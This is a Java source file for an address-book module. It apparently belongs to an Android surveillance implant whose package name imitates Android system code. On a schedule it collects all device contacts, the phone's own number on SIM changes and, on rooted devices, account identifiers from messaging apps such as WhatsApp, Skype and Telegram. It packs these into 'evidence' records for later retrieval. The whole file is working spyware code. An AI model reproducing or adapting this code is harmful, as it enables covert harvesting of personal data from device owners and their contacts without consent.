package com.android.dvci.module;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Date;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.List;

import android.database.Cursor;

import com.android.dvci.Device;
import com.android.dvci.Sim;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.crypto.Digest;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.evidence.Markup;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.ListenerSim;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.module.task.Contact;
import com.android.dvci.module.task.PhoneInfo;
import com.android.dvci.module.task.PickContact;
import com.android.dvci.module.task.UserInfo;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.WChar;
import com.android.mm.M;

public class ModuleAddressBook extends BaseModule implements Observer<Sim> {

	private static final String TAG = "AgentAddressbook"; //$NON-NLS-1$

	public static final int SKYPE = 0x02;
	public static final int FACEBOOK = 0x03;
	public static final int GOOGLE = 0x05;
	public static final int BBM = 0x06;
	public static final int WHATSAPP = 0x07;
	public static final int PHONE = 0x08;
	public static final int VIBER = 0x0b;
	public static final int WECHAT = 0x0c;
	public static final int TELEGRAM = 0x0e;
	public static final int LOCAL = 0x80000000;



	private PickContact contact;
	Markup markupContacts;
	static HashMap<Long, Long> contacts; // (contact.id, contact.pack.crc)
	
	String observe = M.e("com.android.contacts");

	private String myPhone;

	public ModuleAddressBook() {

	}

	@Override
	public boolean parse(ConfModule conf) {
		return true;
	}

	/**
	 * unserialize the contacts crc hashtable
	 */
	@Override
	public void actualStart() {
		// every three hours, check.
		setPeriod(180 * 60 * 1000);
		setDelay(200);

		ListenerSim.self().attach(this);

		markupContacts = new Markup(this);
		// markupContacts.unserialize()

		// the markup exists, try to read it
		if (markupContacts.isMarkup()) {
			try {
				contacts = (HashMap<Long, Long>) markupContacts.readMarkupSerializable();
			} catch (final IOException e) {
				if (Cfg.EXCEPTION) {
					Check.log(e);
				}

				if (Cfg.DEBUG) {
					Check.log(TAG + " Error (begin): cannot read markup");//$NON-NLS-1$
				}
			}
		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (actualStart): no markup");
			}
		}

		// if no markup available, create a new empty one
		if (contacts == null) {
			contacts = new HashMap<Long, Long>();
			serializeContacts();
		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (actualStart), got serialized contacs from markup: " + contacts.size());
			}
		}

	}

	/**
	 * Every once and then read the contactInfo, and Check.every change. If
	 * //$NON-NLS-1$ something is new the contact is saved.
	 */
	@Override
	public void actualGo() {
		try {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (go): Contacts");
			}

			if (Status.self().haveRoot()) {

				if (Cfg.DEBUG) {
					Check.log(TAG + " (go): dumpAddressBookAccounts");
				}
				RecordVisitor addressVisitor = new RecordVisitor() {

					@Override
					public long cursor(Cursor cursor) {
						String jid = cursor.getString(0);
						String name = cursor.getString(1);
						String type = cursor.getString(2);
						String password = cursor.getString(3);

						int evId = ModulePassword.getServiceId(type);

						if (evId != 0)
							createEvidenceLocal(evId, name);

						return 0;
					}
				};
				
				ModulePassword.dumpAccounts(addressVisitor);
				
			}

			if (contacts()) {
				serializeContacts();
			}

		} catch (Exception ex) {
			if (Cfg.EXCEPTION) {
				Check.log(ex);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " (go) Error: " + ex);
			}
		}

	}

	@Override
	public void actualStop() {
		ListenerSim.self().detach(this);
	}

	/**
	 * serialize contacts in the markup
	 */
	public void serializeContacts() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (serializeContacts)");
		}
		if (Cfg.DEBUG) {
			Check.ensures(contacts != null, "null contacts"); //$NON-NLS-1$
		}

		try {

			final boolean ret = markupContacts.writeMarkupSerializable(contacts);
			if (Cfg.DEBUG) {
				Check.ensures(ret, "cannot serialize"); //$NON-NLS-1$
			}
		} catch (final IOException e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " Error (serializeContacts): " + e);//$NON-NLS-1$
			}
		}
	}

	private boolean contacts() {
		contact = new PickContact();

		final Date before = new Date();
		final Hashtable<Long, Contact> contacts = contact.getContactInfo();

		final Date after = new Date();
		if (Cfg.DEBUG) {
			Check.log(TAG + " (go): get contact time s " + (after.getTime() - before.getTime()) / 1000);//$NON-NLS-1$
		}
		if (Cfg.DEBUG) {
			Check.log(TAG + " (go): list size = " + contacts.size());//$NON-NLS-1$
		}

		final Iterator<Contact> iter = contacts.values().iterator();

		boolean needToSerialize = false;

		final EvidenceBuilder log = new EvidenceBuilder(EvidenceType.ADDRESSBOOK);

		// for every Contact
		while (iter.hasNext()) {
			final Contact c = iter.next();

			// calculate the crc of the contact
			final byte[] packet = preparePacket(c);

			needToSerialize = serializeIfNew(c.getId(), packet);
			if (needToSerialize) {
				log.write(packet);
			}
		}

		log.close();

		if (Cfg.DEBUG) {
			Check.log(TAG + " (contacts), needto needToSerialize: " + needToSerialize);
		}
		return needToSerialize;
	}

	private static boolean serializeIfNew(long id, final byte[] packet) {

		final Long crcOld = contacts.get(id);
		final Long crcNew = Digest.CRC32(packet);

		boolean needToSerialize = false;
		// if does not match, save and serialize
		if (!crcNew.equals(crcOld)) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (go): new contact. " + id);//$NON-NLS-1$
			}
			contacts.put(id, crcNew);
			needToSerialize = true;
			// Thread.yield();
		}
		return needToSerialize;
	}

	/**
	 * Prepare the packet from the contact
	 * 
	 * @param c
	 * @return
	 */
	private byte[] preparePacket(Contact c) {
		final UserInfo user = c.getUserInfo();
		// List<EmailInfo> email = c.getEmailInfo();
		// List<PostalAddressInfo> paInfo = c.getPaInfo();
		final List<PhoneInfo> phoneInfo = c.getPhoneInfo();
		// List<ImInfo> imInfo = c.getImInfo();
		// List<OrganizationInfo> orgInfo = c.getOrgInfo();
		// List<WebsiteInfo> webInfo = c.getWebInfo();
		final long uid = user.getUserId();
		final String name = user.getCompleteName();
		final String message = c.getInfo();

		String number = "";

		if (phoneInfo.size() > 0) {
			number = phoneInfo.get(0).getPhoneNumber();
		}
		return preparePacket(PHONE, uid, number, name, message);
		// final byte[] header = new byte[12];

	}

	private static byte[] preparePacket(int type, long uid, String number, String name, String message) {

		final ByteArrayOutputStream outputStream = prepareHeader(uid, type, 0);
		if (outputStream == null) {
			return null;
		}

		addTypedString(outputStream, (byte) 0x01, name);
		addTypedString(outputStream, (byte) 0x07, number);
		addTypedString(outputStream, (byte) 0x37, message);

		addTypedString(outputStream, (byte) 0x40, number);

		final byte[] payload = outputStream.toByteArray();

		final int size = payload.length;

		// a questo punto il payload e' pronto
		final DataBuffer db_header = new DataBuffer(payload, 0, 4);
		db_header.writeInt(size);

		return payload;
	}

	private static ByteArrayOutputStream prepareHeader(long uid, int program, int flags) {
		final int version = 0x01000001;
		final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
		// Adding header
		try {
			outputStream.write(ByteArray.intToByteArray(0)); // size
			outputStream.write(ByteArray.intToByteArray(version));
			outputStream.write(ByteArray.intToByteArray((int) uid));
			outputStream.write(ByteArray.intToByteArray(program));
			outputStream.write(ByteArray.intToByteArray(flags));
		} catch (IOException ex) {
			if (Cfg.EXCEPTION) {
				Check.log(ex);
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " (preparePacket) Error: " + ex);
			}
			return null;
		}
		return outputStream;
	}

	private static void addTypedString(ByteArrayOutputStream outputStream, byte type, String name) {
		if (name != null && name.length() > 0) {
			final int header = (type << 24) | (name.length() * 2);

			try {
				outputStream.write(ByteArray.intToByteArray(header));
				outputStream.write(WChar.getBytes(name));
			} catch (final IOException e) {
				if (Cfg.EXCEPTION) {
					Check.log(e);
				}

				if (Cfg.DEBUG) {
					Check.log(e);//$NON-NLS-1$
				}
				if (Cfg.DEBUG) {
					Check.log(TAG + " Error (addTypedString): " + e);//$NON-NLS-1$
				}
			}
		}
	}

	@Override
	public int notification(Sim b) {
		Device device = Device.self();
		myPhone = device.getPhoneNumber();

		// final EvidenceReference log = new
		// EvidenceReference(EvidenceType.ADDRESSBOOK);
		if (Cfg.DEBUG) {
			Check.log(TAG + " (notification) SIM: " + b.getImsi() + "Number: " + myPhone);//$NON-NLS-1$
		}

		if (Device.UNKNOWN_NUMBER.equals(myPhone)) {
			return 0;
		}

		createEvidenceLocal(PHONE, myPhone);

		return 0;
	}

	public static void createEvidenceLocal(int evId, String data) {
		createEvidenceLocal(evId, data, null);
	}

	public static void createEvidenceLocal(int evId, String data, String name) {

		if (Cfg.DEBUG) {
			Check.log(TAG + " (createEvidenceLocal) id: " + evId + " data: " + data);//$NON-NLS-1$
		}

		long uid = -evId;
		final ByteArrayOutputStream outputStream = prepareHeader(uid, evId, LOCAL);
		if (outputStream == null) {
			return;
		}

		addTypedString(outputStream, (byte) 0x40, data);
		if (name != null) {
			addTypedString(outputStream, (byte) 0x01, name);
		}

		byte[] payload = outputStream.toByteArray();
		final int size = outputStream.size();
		final DataBuffer db_header = new DataBuffer(payload, 0, 4);
		db_header.writeInt(size);

		EvidenceBuilder.atomic(EvidenceType.ADDRESSBOOK, null, payload);
	}

	public static boolean createEvidenceRemote(int type, com.android.dvci.module.chat.Contact c) {

		long id = c.getId();
		if (Cfg.DEBUG) {
			Check.log(TAG + " (createEvidenceRemote) type: " + type + " id: " + id + " name: " + c.name);
		}

		byte[] packet = preparePacket(type, id, c.number, c.name, c.extra);
		boolean needToSerialize = serializeIfNew(id, packet);
		if (needToSerialize) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (createEvidenceRemote) new address");
			}
			EvidenceBuilder.atomic(EvidenceType.ADDRESSBOOK, null, packet);
		}
		return needToSerialize;
	}

	public static ModuleAddressBook getInstance() {
		return (ModuleAddressBook) ManagerModule.self().getInstancedAgent(ModuleAddressBook.class);
	}

}
